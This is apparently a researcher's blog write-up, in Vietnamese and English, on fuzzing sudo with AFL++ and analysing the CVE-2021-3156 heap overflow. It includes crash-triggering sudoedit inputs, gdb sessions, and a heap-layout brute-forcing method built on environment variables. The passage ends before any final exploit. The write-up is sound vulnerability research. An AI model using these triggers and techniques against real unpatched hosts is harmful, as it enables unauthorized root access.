Linux Privilege Escalation

CVE-2021-3156 > Exploiting heap-based buffer overflow in sudo for privilege escalation

Improper handling of escaped space leads to copying data pass null terminator, causing buffer overflow on the heap.

I learnt: Fuzzing với AFL++; viết fuzzer với python; kiểm soát arg và env của process; uid = chủ process, euid = OS check quyền; kernel drop suid bit; sử dụng named pipe để truyền message.

March 19, 2026 nday

Why pick sudo as a research target?

  • Widely use.
  • Large codebase -> more attack surfaces.
  • Actively being developed -> more code haven’t been audited -> more likely to be vulnerable.

Fuzzing is not easy

Code to như vậy thì biết đọc bắt đầu từ đâu? Mình thử tiếp cận theo hướng grey-box fuzzing với AFL++ xem?

Trước mình chuẩn bị environment để fuzz với docker tại đây: https://github.com/ngtuonghung/CVE-2021-3156/blob/main/Dockerfile. Đáng lẽ OS phù hợp phải là Ubuntu 20.04, nhưng Dockerfile mình để 22.04 vì mình thử build AFL++ ở 20.04 ko đc, có thể là do ko còn đc support.

AFL++ là stdin-based hoặc file-based fuzzing, nhưng sudo cần truyền arguments. Qua google search, mình biết đc sử dụng argv-fuzz-inl.h, gọi AFL_INIT_ARGV() ngay đầu hàm main() để lấy input từ stdin, ghi đè argv[].

Thêm vào source code như sau:

--- ./sudo-1.8.31p2/src/sudo.c	2020-06-12 06:14:53.000000000 -0700
+++ ./sudo-1.8.31p2/src/sudo.c	2021-03-16 06:32:56.655334720 -0700
@@ -68,6 +68,7 @@
 #include "sudo.h"
 #include "sudo_plugin.h"
 #include "sudo_plugin_int.h"
+#include "argv-fuzz-inl.h"
 
 /*
  * Local variables
@@ -134,6 +135,7 @@
 int
 main(int argc, char *argv[], char *envp[])
 {
+	AFL_INIT_ARGV();
     int nargc, ok, status = 0;
     char **nargv, **env_add;
     char **user_info, **command_info, **argv_out, **user_env_out;

Rồi xem build instruction:

cat INSTALL | head -n 60 | tail -n 35

Về cơ bản là configure -> make -> make install.

Mình sẽ instrument sudo với afl-clang-fast:

cd sudo-1.8.31p2
rm -rf sudo_afl
mkdir sudo_afl
cd sudo_afl
CC=afl-clang-fast ../configure --disable-shared
make -j$(nproc)
touch /etc/sudoers
cd ..

Ngoài sudo bình thường, sudo còn có mode khác gọi là sudoedit, cho phép edit file với quyền hạn cao một cách an toàn, và sudoedit là symlink tới sudo.

SUDO(8)                                                                         System Manager's Manual                                                                       SUDO(8)

NAME
       sudo, sudoedit — execute a command as another user

SYNOPSIS
       sudo -h | -K | -k | -V
       sudo -v [-ABkNnS] [-g group] [-h host] [-p prompt] [-u user]
       sudo -l [-ABkNnS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command [arg ...]]
       sudo [-ABbEHnPS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-r role] [-t type] [-T timeout] [-u user] [VAR=value] [-i | -s] [command [arg ...]]
       sudoedit [-ABkNnS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-r role] [-t type] [-T timeout] [-u user] file ...

Nhưng làm sao sudo biết là mình gọi sudo hay là sudoedit?

Tại hàm parse_args(), sudo kiểm tra xem tên chương trình đc gọi (progname) có độ dài ít nhất là 5 và kết thúc với “edit” hay ko để xác định edit mode đc gọi. Để ý là chỉ check “edit” chứ ko phải cả “sudoedit”.

Vì AFL_INIT_ARGV() đọc vào cả argv[0], mình nên vào đc edit mode khi gửi sudoedit vào stdin nhỉ?

/pwn/sudo-1.8.31p2# echo -en 'sudo\0' | ./sudo_afl/bin/sudo
usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: sudo [-AbEHknPS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

/pwn/sudo-1.8.31p2# echo -en 'sudoedit\0' | ./sudo_afl/bin/sudo
usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: sudo [-AbEHknPS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

Nhưng bảng usage hiện ra vẫn là của sudo, ko phải sudoedit? Liệu progname có chắc là argv[0], là sudoedit? Hay nó vẫn là sudo? Lý do là ở hàm main() gọi đến initprogname(), truyền vào argv[0]:

Hàm này có chức năng là lấy tên của binary sau dấu / cuối cùng. Nhưng lại có nhiều path để lấy progname tùy vào môi trường sudo chạy. Nói ngắn gọn, khi mình gõ echo -en 'sudoedit\0' | ./sudo_afl/bin/sudo vào shell và nhấn enter, execve("./sudo_afl/bin/sudo", ["sudoedit"], NULL) sẽ đc gọi. Các path lấy progname mà mình đã bỏ đi ở dưới tách tên của binary ở ./sudo_afl/bin/sudo thay vì làsudoedit. Nên chỉ việc bỏ đi và để lại path lấy từ sudoedit là đc:

#include <config.h>

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#ifdef HAVE_STRING_H
# include <string.h>
#endif /* HAVE_STRING_H */
#ifdef HAVE_STRINGS_H
# include <strings.h>
#endif /* HAVE_STRINGS_H */

#include "sudo_compat.h"
#include "sudo_util.h"

// #ifdef HAVE_GETPROGNAME

// void
// initprogname(const char *name)
// {
// ...
// }

// #else /* !HAVE_GETPROGNAME */

static const char *progname = "";

void
initprogname(const char *name)
{
// # ifdef HAVE___PROGNAME
//     extern const char *__progname;

//     if (__progname != NULL && *__progname != '\0')
// 	progname = __progname;
//     else
// # endif
    if ((progname = strrchr(name, '/')) != NULL) {
	progname++;
    } else {
	progname = name;
    }

    /* Check for libtool prefix and strip it if present. */
    if (progname[0] == 'l' && progname[1] == 't' && progname[2] == '-' &&
	progname[3] != '\0')
	progname += 3;
}

const char *
sudo_getprogname(void)
{
    return progname;
}
// #endif /* !HAVE_GETPROGNAME */

Build lại, và giờ mình đã có usage của sudoedit:

/pwn/sudo-1.8.31p2# echo -en 'sudo\0' | ./sudo_afl/bin/sudo
usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: sudo [-AbEHknPS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

/pwn/sudo-1.8.31p2# echo -en 'sudoedit\0' | ./sudo_afl/bin/sudo
usage: sudoedit [-AknS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

Linux kernel có những restriction nhất định, khiến cho AFL++ ko giữ đc setuid bit khi fuzz binary. Nên hoặc là mình fuzz với user thường, khi đấy uid và euid mà binary thấy là khác 0 (ví dụ 1000, do ko giữ đc setuid bit), hoặc là mình fuzz với quyền root luôn, uid và euid đều là 0. Nhưng mà mục đích của sudo là bật setuid bit để user thường chạy được nó với quyền hạn cao hơn, để uid = 1000 và euid = 0.

Mình giải quyết bằng cách patch luôn source code để uid = 1000, sau đó fuzz với quyền root, thì giữ được euid = 0, đúng với mục đích của sudo.

Giờ mình tạo 2 test case ví dụ:

mkdir /tmp/in
mkdir /tmp/out
echo -en 'sudo\0-h\0' > /tmp/in/1
echo -en 'sudoedit\0-h\0' > /tmp/in/2
echo core | tee /proc/sys/kernel/core_pattern

Mình cần chạy lệnh này trên host machine thì AFL++ mới fuzz đc:

echo performance | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governo

Ở trong container, mình chạy 4 instances của AFL++:

afl-fuzz -i /tmp/in/ -o /tmp/out -M master ./sudo_afl/bin/sudo
afl-fuzz -i /tmp/in/ -o /tmp/out -S slave1 ./sudo_afl/bin/sudo
afl-fuzz -i /tmp/in/ -o /tmp/out -S slave2 ./sudo_afl/bin/sudo
afl-fuzz -i /tmp/in/ -o /tmp/out -S slave3 ./sudo_afl/bin/sudo

We found some crashes

Sau vài phút thì mình có đc 3 crash:

/pwn/sudo-1.8.31p2# ls -la /tmp/out/*/crashes/
/tmp/out/master/crashes/:
total 16
drwx------ 2 root root 4096 Mar 21 10:01 .
drwx------ 6 root root 4096 Mar 21 10:09 ..
-rw------- 1 root root  555 Mar 21 10:01 README.txt
-rw------- 1 root root   93 Mar 21 10:01 id:000000,sig:06,src:000292,time:375777,execs:447899,op:havoc,rep:4

/tmp/out/slave1/crashes/:
total 16
drwx------ 2 root root 4096 Mar 21 09:58 .
drwx------ 6 root root 4096 Mar 21 10:09 ..
-rw------- 1 root root  555 Mar 21 09:58 README.txt
-rw------- 1 root root  154 Mar 21 09:58 id:000000,sig:06,src:000409,time:134207,execs:175654,op:havoc,rep:3

/tmp/out/slave2/crashes/:
total 8
drwx------ 2 root root 4096 Mar 21 09:55 .
drwx------ 6 root root 4096 Mar 21 10:09 ..

/tmp/out/slave3/crashes/:
total 16
drwx------ 2 root root 4096 Mar 21 09:58 .
drwx------ 6 root root 4096 Mar 21 10:09 ..
-rw------- 1 root root  555 Mar 21 09:58 README.txt
-rw------- 1 root root  604 Mar 21 10:04 id:000000,sig:06,src:000384,time:131432,execs:168899,op:havoc,rep:3

Giờ mình sẽ build lại sudo với ASAN để check xem crash ở đâu:

rm -rf sudo_asan
mkdir sudo_asan
cd sudo_asan
CFLAGS="-O1 -g3 -fno-omit-frame-pointer -fsanitize=address,undefined" LDFLAGS="-fsanitize=address,undefined" ../configure --disable-shared
make -j$(nproc)
cd ..

Crash đầu tiên ở hàm set_cmnd():

/pwn/sudo-1.8.31p2# cat /tmp/out/master/crashes/id* | ./sudo_asan/bin/sudo
=================================================================
==3531710==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5070000003e2 at pc 0x5cd3fb8b6516 bp 0x7ffd47002fa0 sp 0x7ffd47002f90
WRITE of size 1 at 0x5070000003e2 thread T0
    #0 0x5cd3fb8b6515 in set_cmnd ../../../plugins/sudoers/sudoers.c:868
    #1 0x5cd3fb8b6515 in sudoers_policy_main ../../../plugins/sudoers/sudoers.c:306
    #2 0x5cd3fb89ba79 in sudoers_policy_check ../../../plugins/sudoers/policy.c:872
    #3 0x5cd3fb85597b in policy_check ../../src/sudo.c:1142
    #4 0x5cd3fb85597b in main ../../src/sudo.c:255
    #5 0x727cd58cbd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #6 0x727cd58cbe3f in __libc_start_main_impl ../csu/libc-start.c:392
    #7 0x5cd3fb821084 in _start (/pwn/sudo-1.8.31p2/sudo_asan/bin/sudo+0x1aa084)

0x5070000003e2 is located 0 bytes to the right of 66-byte region [0x5070000003a0,0x5070000003e2)
allocated by thread T0 here:
    #0 0x727cd61d0887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5cd3fb8b5444 in set_cmnd ../../../plugins/sudoers/sudoers.c:854
    #2 0x5cd3fb8b5444 in sudoers_policy_main ../../../plugins/sudoers/sudoers.c:306
    #3 0x5cd3fb89ba79 in sudoers_policy_check ../../../plugins/sudoers/policy.c:872
    #4 0x5cd3fb85597b in policy_check ../../src/sudo.c:1142
    #5 0x5cd3fb85597b in main ../../src/sudo.c:255
    #6 0x727cd58cbd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

Crash tiếp theo cũng ở hàm set_cmnd():

/pwn/sudo-1.8.31p2# cat /tmp/out/slave1/crashes/id* | ./sudo_asan/bin/sudo
=================================================================
==3531712==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50d000000195 at pc 0x5952f2edc516 bp 0x7ffc73d7c840 sp 0x7ffc73d7c830
WRITE of size 1 at 0x50d000000195 thread T0
    #0 0x5952f2edc515 in set_cmnd ../../../plugins/sudoers/sudoers.c:868
    #1 0x5952f2edc515 in sudoers_policy_main ../../../plugins/sudoers/sudoers.c:306
    #2 0x5952f2ec1a79 in sudoers_policy_check ../../../plugins/sudoers/policy.c:872
    #3 0x5952f2e7b97b in policy_check ../../src/sudo.c:1142
    #4 0x5952f2e7b97b in main ../../src/sudo.c:255
    #5 0x7aa48094cd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #6 0x7aa48094ce3f in __libc_start_main_impl ../csu/libc-start.c:392
    #7 0x5952f2e47084 in _start (/pwn/sudo-1.8.31p2/sudo_asan/bin/sudo+0x1aa084)

0x50d000000195 is located 0 bytes to the right of 133-byte region [0x50d000000110,0x50d000000195)
allocated by thread T0 here:
    #0 0x7aa481251887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5952f2edb444 in set_cmnd ../../../plugins/sudoers/sudoers.c:854
    #2 0x5952f2edb444 in sudoers_policy_main ../../../plugins/sudoers/sudoers.c:306
    #3 0x5952f2ec1a79 in sudoers_policy_check ../../../plugins/sudoers/policy.c:872
    #4 0x5952f2e7b97b in policy_check ../../src/sudo.c:1142
    #5 0x5952f2e7b97b in main ../../src/sudo.c:255
    #6 0x7aa48094cd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

Có vẻ là cùng một crash.

Mình check crash tiếp theo nhưng mà có vẻ là false positive:

/pwn/sudo-1.8.31p2# cat /tmp/out/slave3/crashes/id* | ./sudo_asan/bin/sudo
usage: h.h...su.-`
00000090: 6464647374fa6f002d73              dddst.o.-s
 -h | -K | -k | -V
usage: h.h...su.-`
00000090: 6464647374fa6f002d73              dddst.o.-s
 -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: h.h...su.-`
00000090: 6464647374fa6f002d73              dddst.o.-s
 -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: h.h...su.-`
00000090: 6464647374fa6f002d73              dddst.o.-s
 [-AbEHknPS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: h.h...su.-`
00000090: 6464647374fa6f002d73              dddst.o.-s
 -e [-AknS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

Giờ mình sẽ minimize test case gây crash đầu tiên và test lại với ASAN:

/pwn/sudo-1.8.31p2# afl-tmin -i "/tmp/out/slave1/crashes/id:000000,sig:06,src:000409,time:134207,execs:175654,op:havoc,rep:3" -o ./minimized_crashed ./sudo_afl/bin/sudo
/pwn/sudo-1.8.31p2# xxd minimized_crashed 
00000000: 3065 6469 7400 2d68 3000 2d69 0030 3030  0edit.-h0.-i.000
00000010: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000020: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000040: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000050: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000060: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000070: 305c 0030 3030 3030 3030 3030 3030 3030  0\.0000000000000
00000080: 3030 3030 30                             00000
/pwn/sudo-1.8.31p2# cat minimized_crashed | ./sudo_asan/bin/sudoedit
=================================================================
==3531914==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50c0000002f9 at pc 0x58be6dc24516 bp 0x7fff6cc88530 sp 0x7fff6cc88520
WRITE of size 1 at 0x50c0000002f9 thread T0
    #0 0x58be6dc24515 in set_cmnd ../../../plugins/sudoers/sudoers.c:868
    #1 0x58be6dc24515 in sudoers_policy_main ../../../plugins/sudoers/sudoers.c:306
    #2 0x58be6dc09a79 in sudoers_policy_check ../../../plugins/sudoers/policy.c:872
    #3 0x58be6dbc397b in policy_check ../../src/sudo.c:1142
    #4 0x58be6dbc397b in main ../../src/sudo.c:255
    #5 0x73bf7f4bed8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #6 0x73bf7f4bee3f in __libc_start_main_impl ../csu/libc-start.c:392
    #7 0x58be6db8f084 in _start (/pwn/sudo-1.8.31p2/sudo_asan/bin/sudo+0x1aa084)

Vậy là progname kết thúc với “edit”, sau đó là flag -h, rồi -i, rồi backslash.

Root cause analysis

Lỗi heap buffer overflow nằm tại hàm set_cmnd() ở file sudoers.c dòng 868. Ở đây chương trình loop bắt đầu từ NewArgv + 1 (là mảng các arguments đến từ user input), tính tổng độ dài các argument (+1 cho space hoặc null) vào size, rồi cấp phát một chunk với kích thước là size cho user_args, để xây dựng một chuỗi arguments liên tục hoàn chỉnh, kết thúc bằng null byte.

Trong for loop sau đó, copy từng byte từ from (trỏ đến từng argument) đến to (nơi cần xây dựng chuỗi). Vì các arguments được phân bởi space (*to++ = ’ ‘), nên cần phải escape space nằm trong 1 argument (nghĩa là copy nguyên cả backslash và space), còn với các ký tự khác space sau backslash, chương trình cần unescape nên skip luôn backslash và copy ký tự đó, hàm cho rằng các ký tự này trước đó đã được escape (input từ shell) nên cần phải unescape lại.

Nhưng điều gì xảy ra nếu nằm sau backslash là null? Mục đích của null là đánh dấu kết thúc argument rồi, nhưng vì chương trình skip backslash, copy luôn null byte sau đó, rồi lại from++ (vượt ra sau null). Dù argument đã kết thúc tại null, nhưng chương trình vẫn tiếp tục copy dữ liệu đằng sau đó, dẫn đến buffer overflow.

How do we get here?

Để đến đc đây 1 trong 3 mode MODE_RUN | MODE_EDIT | MODE_CHECK và 1 trong 2 MODE_SHELL|MODE_LOGIN_SHELL cần đc set.

Nhìn vào file parse_args.c, mình set đc MODE_SHELL qua flag -s:

MODE_LOGIN_SHELL qua flag -i:

Nếu MODE_LOGIN_SHELL đc set, thì nó set luôn cả MODE_SHELL:

Ok vậy MODE_RUN thì sao? Nó đc set khi chưa có mode nào đc set:

Vậy là ok trigger đc bug rồi chứ? Vì mình đang Ctrl + F cái MODE_RUN nên nhìn thấy đoạn code này:

Ở đây nó đã escape các ký tự đặc biệt (ko phải ALphaNUMeric), escape luôn cả backslash, thế thì bug ở kia đâu còn bị trigger nữa? Vậy thì mình ko nên set MODE_RUN hoặc MODE_SHELL, nhưng mà MODE_SHELL bắt buộc phải có rồi, nên chỉ còn cách là set MODE_EDIT hoặc MODE_CHECK. Với MODE_EDIT, chính là khi mình chạy sudoedit. MODE_EDIT còn đc set với flags -e, và MODE_CHECK còn đc set khi MODE_LIST đc set với flags -l, nhưng mà chúng đều dẫn tới set MODE_NONINTERACTIVE (flag restriction, ko set đc MODE_SHELL).

Ok giờ mình sẽ build lại sudo với debug symbol và tắt toàn bộ optimization:

rm -rf sudo
mkdir sudo
cd sudo
CFLAGS="-g3 -O0 -fno-inline" ../configure --disable-shared --prefix="$PWD"
make -j$(nproc)
make install
cd ..

Thử với flags -s và -i:

/pwn/sudo-1.8.31p2# ./sudo/bin/sudoedit -s 'AAAA\'
malloc(): invalid next size (unsorted)
Aborted
/pwn/sudo-1.8.31p2# ./sudo/bin/sudoedit -i 'AAAA\'
malloc(): invalid next size (unsorted)
Aborted

(Với AFL_INIT_ARGV(), from trỏ tới trên bss, nên sudo với afl cần chuỗi sau backslash để trigger overflow).

Debugging sudo

Chạy trực tiếp như trên thì trigger đc bug, nhưng gdb rồi chạy thì ko đc (vì ko giữ đc setuid bit), vậy nên cần chạy gdb với quyền root.

$ sudo gdb --args ./sudo-1.8.31p2/sudo/bin/sudoedit -s 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\'
pwndbg> b sudoers.c:868
pwndbg> r

Giờ mình quan sát lúc copy ký tự trước backslash:

Continue, bây giờ from đã trỏ đến null, vì backslash đã đc skip:

pwndbg> c

b► 0x55aa16f6188e <set_cmnd+1512>    mov    rdx, qword ptr [rbp - 0x30]     RDX, [{from}] => 0x7ffd90c2969a ◂— 0x2f3d4c4c45485300

Continue lần nữa, copy null byte từ from đến to, from giờ trỏ đến nơi có vẻ như là env var:

pwndbg> c

b► 0x55aa16f6188e <set_cmnd+1512>    mov    rdx, qword ptr [rbp - 0x30]     RDX, [{from}] => 0x7ffd90c2969b ◂— 'SHELL=/bin/bash'

Mình confirm bằng cách xem __environ:

pwndbg> tele __environ
00:0000│+4c8 0x7ffd90c27e78 —▸ 0x7ffd90c2969b ◂— 'SHELL=/bin/bash'
01:0008│+4d0 0x7ffd90c27e80 —▸ 0x7ffd90c296ab ◂— 'COLORTERM=truecolor'
02:0010│+4d8 0x7ffd90c27e88 —▸ 0x7ffd90c296bf ◂— 'SUDO_GID=1000'

Vậy thì thật hợp lý nếu mình muốn clear đống env var này và cho dữ liệu mình kiểm soát vào:

import os, subprocess, signal

open("/tmp/g.gdb", "w").write(
"""
	set breakpoint pending on
	# b sudoers.c:868
	b sudoers.c:872
	continue
	continue
	continue
""")

p = subprocess.Popen(
    args=['./sudo-1.8.31p2/sudo/bin/sudoedit', '-s', 'A' * 0x20 + '\\'],
    env={"BBBBBBBBBBBBBBBB": "CCCCCCCCCCCCCCCC"})
p.send_signal(signal.SIGSTOP)

# sudo python3 run.py
os.execvp("gdb", [
	"gdb",
	"-q",
	"-x", "/tmp/g.gdb",
	"-p", str(p.pid)
])

Cần quyền root vì gdb ko giữ đc setuid bit (trong docker container mình đã là root rồi nên ko cần sudo nữa):

python3 run.py

Ok vậy confirm là mình có thể overflow độ dài tùy ý trên heap.

Allocated chunk | PREV_INUSE
Addr: 0x555555668df0
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk | PREV_INUSE
Addr: 0x555555668e90
Size: 0x30 (with flag bits: 0x31)

Free chunk (unsortedbin) | IS_MMAPED
Addr: 0x555555668ec0
Size: 0x4242424242424240 (with flag bits: 0x4242424242424242)
fd: 0x4343434343433d42
bk: 0x4343434343434343

So what now?

Mình tìm đc crash rồi, giờ sao? Làm sao khai thác được nó nhỉ? Mình có thể overflow gần như là tuỳ ý trên heap, vậy mình có 2 hướng:

  1. Overflow ghi đè metadata để khai thác cơ chế của heap.
  2. Overflow ghi đè data của object nào đó trên heap để chương trình sử dụng sai data.

Vậy hướng nào thì ổn? Bình thường lúc chơi CTF, với những bài khai thác heap, chương trình thường có menu, mình có thể tương tác nhiều lần với chương trình, rồi từ đó heap fengshui để đọc ghi tuỳ ý.

Nhưng mà ở sudo này, mình chỉ có một lần tương tác để gây bug, là khi truyền arguments. Vậy với hướng 1, thì khả năng là hơi khó. Chưa tính đến việc bypass ASLR, khó mà overwrite metadata hợp lệ.

Vậy hướng 2 thì sao? Mình overflow để ghi đè data của object, nhưng mà object nào? Làm sao mà mình biết user_args đc cấp phát ở đâu trên heap, và các chunk đằng sau đó chứa object nào? Mà kể cả có ghi đè đc data, metadata trên heap đã bị corrupt, chắc gì chương trình chạy đc đến lúc sử dụng data mình ghi? Nói chung việc kiểm soát đc heap layout để đi theo hướng này khá là khoai, nhưng thử xem.

Heap fengshui

Ý tưởng đó là mình sẽ bruteforce heap layout, hy vọng mình sẽ may mắn tìm đc 1 layout hoàn hảo mà mình có thể overflow từ user_args đến object mục tiêu nào đó ở đằng sau trên heap, và các chunk ở giữa chúng mà bị ghi đè ko khiến cho chương trình bị crash trước khi object mục tiêu đc sử dụng.

Mình nghĩ chỉ có 2 source mà một user bình thường có thể input vào sudo đó là arguments và environment variables, nhưng biết cái nào gây malloc hay free ảnh hưởng đến heap layout? Mình thử tìm xem sao?

Mình đã tìm đc bug trong docker container rồi, giờ mình muốn dev exploit ở trên Ubuntu 20.04 VM, với phiên bản glibc là 2.31 cho gần với môi trường thực tế nhất, mình có sẵn script setup VM ở đây:

https://github.com/ngtuonghung/CVE-2021-3156/blob/main/ubuntu-vm-setup.sh

Mình setup một số thứ để debug tiện và dễ dàng hơn, script này ko phải viết đc luôn ngay lần đầu, mà mình đã chỉnh sửa nhiều trong khi debug.

Sau đó build lại sudo, nhưng giờ mình chỉ bật mỗi debug symbol lên, còn lại là mặc định theo như build instruction.

tar -xvf sudo-1.8.31p2.tar.gz
cd sudo-1.8.31p2
CFLAGS="-g3" ./configure --prefix="/etc" && make -j$(nproc) && make install
cd ..

Với arguments trước đi, mình sẽ bruteforce độ dài của chuỗi sau flag -s, và thêm ngẫu nhiên các flags khác vì có thể heap layout sẽ thay đổi dựa vào flags đc bật.

/etc/bin/sudoedit
usage: sudoedit [-AknS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

Bây giờ với environment variables, mình tìm trong source code những nơi gọi getenv():

Ít quá nhỉ? Mình thử break tại main, rồi break tại malloc rồi quan sát xem có cái gì có vẻ liên quan đến cấp phát khi sử dụng env var ko (nhớ là gdb phải chạy với root nếu ko sẽ drop suid bit):

pwndbg> start
pwndbg> b *__libc_malloc
pwndbg> c

Hmm nhìn mấy cái UTF-8 này có vẻ quen quen, mình nhớ nó xuất hiện trong env var nào đó thì phải?

Mà malloc được gọi trong hàm setlocale(), trong hàm main():

int
main(int argc, char *argv[], char *envp[])
{
    ...

    setlocale(LC_ALL, "");
    bindtextdomain(PACKAGE_NAME, LOCALEDIR);
    textdomain(PACKAGE_NAME);

    ...

Ok đọc thử man page mình thấy nó sử dụng khá nhiều env var:

Value đc truyền vào phải có dạng như sau và phải hợp lệ (xem bằng lệnh locale -a):

$ locale -a
C
C.UTF-8
en_AG
en_AG.utf8
...
...

Mà cái @modifer có vẻ như mình có thể nhập tuỳ ý, để khi setlocale() cố gắng load file tương ứng sẽ gọi đến malloc() (ChatGPT bảo vậy :v).

Fuzz the heap

Vể ý tưởng của scripts, mình tạo các arguments và env với độ dài ngẫu nhiên tuỳ ý rồi cho vào sudo, nếu sudo crash và trả về status code là SIGSEGV (chỉ quan tâm đến cái này vì inputs của mình có thể đã ghi đè con trỏ nào đó), mình sẽ chạy lại với arg và env đó 1 lần nữa nhưng attach gdb vào để lấy backtrace xem nó đã crash ở đâu. Và dựa vào nơi bị crash, mình check xem có crash nào có thể lợi dụng để thực thi mã tuỳ ý hay ko.

Để có được các script dưới đây, mình đã thử nghiệm và tinh chỉnh rất nhiều thứ.

Ban đầu mình viết trong duy nhất 1 scripts, chạy sudo ở process con, sau đó chạy gdb ở một process con khác để attach vào sudo lấy backtrace. Mình có tìm đc các crash có thể được lợi dụng để ACE. Nhưng mình vẫn quen tay chạy scripts với quyền root (để gdb ko bị drop suid bit), nghĩa là chạy cả sudo với quyền root, nhưng mục đích của sudo là có suid bit cho user thường chạy. Mặc dù ACE đc, nhưng mình chạy script với quyền root, ko đúng với thực tế, khi thử chạy script với user bình thường, exploit ko thành công bởi vì có thể heap layout đã khác.

Mình thêm code để drop quyền khi chạy sudo về user thường bằng setresuid() (script vẫn chạy với quyền root), tưởng đã ngon ăn nhưng ko đc. Để chạy process con, mình thử subprocess, fork + os.execve, rồi fork + ctype execve, chúng đều có thể chạy đc process con nhưng vì lý do nào đó heap layout lại khác nhau, và có khi còn thay đổi thứ tự env mà mình truyền vào. Mình chọn fork + ctype execve vì mình kiểm soát đc ổn nhất.

Cuối cùng mình nghĩ tới việc tách làm 2 scripts, 1 script chạy sudo với quyền user thường, script còn lại chạy gdb với quyền root để có thể attach. Nhưng cách này mình nghĩ là chậm hơn vì cần phải giao tiếp và đồng bộ giữa 2 scripts. Cần phải có cơ chế truyền pid của sudo đc chạy đến script gdb để attach đc, và mình thử với named pipe. Mình tăng tốc độ thêm bằng sử dụng thực thi song song trên nhiều CPU và nó đã tìm đc crash có thể ACE. Thanks, Claude.

Script spawn sudo với quyền user thường, sử dụng execve từ ctypes, ghi arg và env vào file ở thư mục hiện tại, ghi pid vào named pipe. Mỗi CPU core sẽ ghi vào pipe riêng:

https://github.com/ngtuonghung/CVE-2021-3156/blob/main/fengshui/heapbf.py

Script attach gdb vào sudo, đọc pid từ named pipe tương ứng, đọc stack trace, lưu vào thư mục (tên hàm nơi bị crash) tương ứng, tên file là md5 hash của 5 line đầu sau dòng báo lỗi SIGSEGV:

https://github.com/ngtuonghung/CVE-2021-3156/blob/main/fengshui/attach.py

Sau khoảng vài chục nghìn attempt, mình tìm được RẤT nhiều crash ở nhiều nơi thú vị khác nhau (ở đây mình filter bớt ra với điều kiện trong script), nhưng một trong số đó là crash tại hàm tsearch() đc gọi trong nss_lookup_function():

Xem stack trace của nó:

Inputs đã gây ra crash này:

{
  "arg": [
    "/etc/bin/sudoedit",
    "-A",
    "-s",
    "lllllllllllllllllllllllllllllllllllllllllllllllllllllll\\",
    "kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk"
  ],
  "env": {
    "X": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    "LC_COLLATE": "C.UTF-8@PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP",
